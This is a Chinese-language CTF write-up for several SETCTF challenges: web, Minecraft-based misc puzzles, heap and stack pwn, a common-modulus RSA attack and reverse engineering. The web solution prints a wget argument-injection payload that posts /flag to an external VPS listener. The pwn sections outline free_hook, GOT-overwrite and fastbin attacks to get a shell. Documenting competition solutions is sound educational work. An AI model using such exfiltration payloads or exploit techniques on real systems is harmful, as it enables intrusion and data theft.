Web
CheckIN
源代码的这两处:
先尝试访问/wget:/wget?argv=a
,看出来这里应该是可以进行攻击的了
接着尝试利用wget的--post-file
进行数据外带,读取源代码
在自己VPS开个监听并且构造:
1 | /wget?argv=a&argv=--post-file&argv=/flag&argv=http://1.14.92.24:8008/ |
拿到flag:
1 | flag{6e6f4abf-f38c-4d30-8ccd-e0bc0012a13f} |
Misc
打败病毒
下载附件,发现是MC,根据描述来看应该是杀掉BOSS之后就能获得flag
进入游戏,首先肯定是要给自己来称手一把好剑啦,直接输入指令/give @p minecraft:diamond_sword 1 0 {ench:[{id:16,lvl:32727}]}
,想获得附魔的钻石剑,但是提示权限不过,应该是这个mod禁用了作弊。
但是这难不倒咱们老MC玩家了,直接选择对局域网开放,并且勾选上允许作弊,游戏模式选择创造模式,然后就能输入刚才的指令获得钻石剑了
这里是有一个穿越的门的,跳进去就会到另外一个时空,里面是有boss的,但是进去了之后我们在一个平台上,到达不了龙的位置,所以要进入创造模式,输入/gamemode 1
,现在双击空格就能飞起来了
对着这条龙就是一刀斩!打死了之后有个墓碑,看起来也是一个传送门
进去之后,就提醒通关了,然后给了一串base编码
通过base62解码得到flag
flag为:
1 | SETCTF{Fi9ht1ng_3ItH_V1rUs} |
soEasyCheckin
下载附件得到一串base编码,但是直接解开会乱码,仔细观察发现其中夹杂着一个$
符号
于是尝试去解前半部分的base,发现是base32
1 | e5b9b3e7ad89e5928ce8b090e887aae794b1e5b9b3e7ad89e5b9b3e7ad89e887aae794b1e6b395e6b2bbe58f8be59684e5b9b3e7ad89e5b9b3e7ad89e6b091e4b8bbe585ace6ada3e695ace4b89ae5928ce8b090e69687e6988ee5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e6b091e4b8bbe5b9b3e7ad89e788b1e59bbde585ace6ada3e695ace4b89ae585ace6ada3e5b9b3e7ad89e5928ce8b090e69687e6988ee887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e69687e6988ee58f8be59684e6b395e6b2bbe887aae794b1e58f8be59684e585ace6ada3e585ace6ada3e58f8be59684e695ace4b89ae585ace6ada3e8af9ae4bfa1e887aae794b1e585ace6ada3e6b395e6b2bbe5928ce8b090e5928ce8b090e5b9b3e7ad89e695ace4b89ae6b395e6b2bbe5b9b3e7ad89e585ace6ada3e6b091e4b8bbe585ace6ada3e8af9ae4bfa1e887aae794b1e5928ce8b090e69688 |
hex解码得到:
1 | 平等和谐自由平等平等自由法治友善平等平等民主公正敬业和谐文明平等爱国公正敬业公正诚信自由和谐民主平等爱国公正敬业公正平等和谐文明自由友善公正公正敬业和谐自由文明友善法治自由友善公正公正友善敬业公正诚信自由公正法治和谐和谐平等敬业法治平等公正民主公正诚信自由和谐 |
核心价值观解码报错了,最后发现把最后的和谐两个字去除就行了
解码得到前半部分得flag:
1 | SET{Qi2Xin1Xie2Li4-Long3Yuan |
后半部分同样是base32,按道理来说可以直接解开,但是这里乱码了,原因是长度不够,于是在前面添上777
可以得到:
1 | 6988ee5b9b3e7ad89e58f8be59684e887aae794b1e585ace6ada3e788b1e59bbde585ace6ada3e6b091e4b8bbe585ace6ada3e58f8be59684e788b1e59bbde5928ce8b090e887aae794b1e5b9b3e7ad89e695ace4b89ae585ace6ada3e695ace4b89ae5928ce8b090e887aae794b1e6b395e6b2bbe8af9ae4bfa1e5928ce8b090 |
这里hex解码又是乱码,把第一个6删掉,再解码得到平等友善自由公正爱国公正民主公正友善爱国和谐自由平等敬业公正敬业和谐自由法治诚信和谐
再解码得到Zhan4Yi4}
,但是注意少了一个数字,因为每一个拼音后面都有一个数字,在前半段
flagSET{Qi2Xin1Xie2Li4-Long3Yuan
中的Yuan后面肯定是有一个数字的,经过一个一个试,最终得到是2
所以完整flag为:
1 | SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4} |
SOS
下载附件,又是MC,这次不是打怪了,这次一进去,就听到了拨号的音,然后旁边是 很多按钮,通过踩下这些按钮,旁边就落下来一些东西
通过这些就可以猜想 通过DTMF的脚本来识别这段拨号音频,得到按键的循序,通过这个顺序依次踩下按钮,用手机将音频录制下来,然后转为wav格式的音频
DTMF脚本地址:https://github.com/ribt/dtmf-decoder
DTMF脚本:
1 | #!/usr/bin/env python3 |
使用终端命令:
1 | python dtmf.py 1.wav |
得到踩键的顺序后,依次踩下,即可得到flag
flag为:
1 | SETCTF{C0M3_4nD_he1P_mE} |
PWN
h3apclass:
首先分析题目,经典菜单题,不过没有show libc2.31
漏洞点在edit中,因为使用的是strlen,因此造成溢出。
leak_libc 部分: 通过溢出更改chunk的size为0x430直接进入unsorted bin
然后再不断申请切割该unsorted bin 以达到unsorted bin 与 tcache重叠的效果,最后爆破一位 1/16 出stdout leak出libc
get_flag 部分 :一开始用setcontext写的,但一直没有成。
后面想用environ泄露出栈地址,但因为没有show失败,
后来想到这个是题黑名单,只是禁用了execve。于是改free_hook为printf地址,然后给printf传入%15$p 泄露出栈上的地址,得到add函数的返回地址。
最后直接把orw链打入add的ret地址处,打印出flag。
exp :
1 | from pwn import* |
bbbaby:
首先分析题目,有两个功能,
一个是可以对输入的地址指向进行edit,
另外一个是可以对v5进行任意size的输入。
于是很容易知道是需要通过v5溢出进行栈溢出攻击,但checksec后发现开了canary,又因为got表可改并且无PIE,所以可以把**_stack_chk_fail**的got表改为main,于是溢出V5打印puts地址后再次回到了main函数,然后再次改got表,通过改atoi_got为system,并传入/bin/sh\参数,getshell
exp :
1 | from pwn import* |
Magic:
刚拿到这个题比较懵逼,一堆大数,简直是吓坏孩子了。
然后直接上gdb分析就是个模板题
有 UAF,直接 fastbin attack可以打过去。
leak_libc 部分 : 填充8个a printf 顺带 main_arena+88c出来
get_shell 部分 : 直接fastbin_attack 打malloc_hook
exp :
1 | from pwn import * |
Crypto
mostlycommon
seebug上有ctf 密码学常见算法总结 (seebug.org)
1 | # -*- coding:utf-8 -*- |
共模攻击的,把上面的exp稍微改下就行
1 | # -*- coding:utf-8 -*- |
flag为:
1 | SETCTF{now_you_master_common_mode_attack} |
RE
EasyRe
直接shift+F12进行字符串查找即可
flag为:
1 | flag{fc5e038d38a57032085441e7fe7010b0} |
findme
IDA丢入,发现只能看到检查长度,而字符串比较经过测试不对,直接上OD
难怪IDA没识别出来,因为eax不确定,下个断点,我取到了call eax调用的函数,进IDA继续分析
em,RC4加密,稳了
内存dump出加密数据,直接解密
flag为:
1 | SETCTF{Th1s_i5_E2_5tRcm9!} |
power
记事本打开瞅一波
有很多含有aes的字符串,继续往下
发现个this_is_a_key!!!
这下aes应该跑不脱了,直接网站解密即可
flag为:
1 | flag{y0u_found_the_aes_12113112} |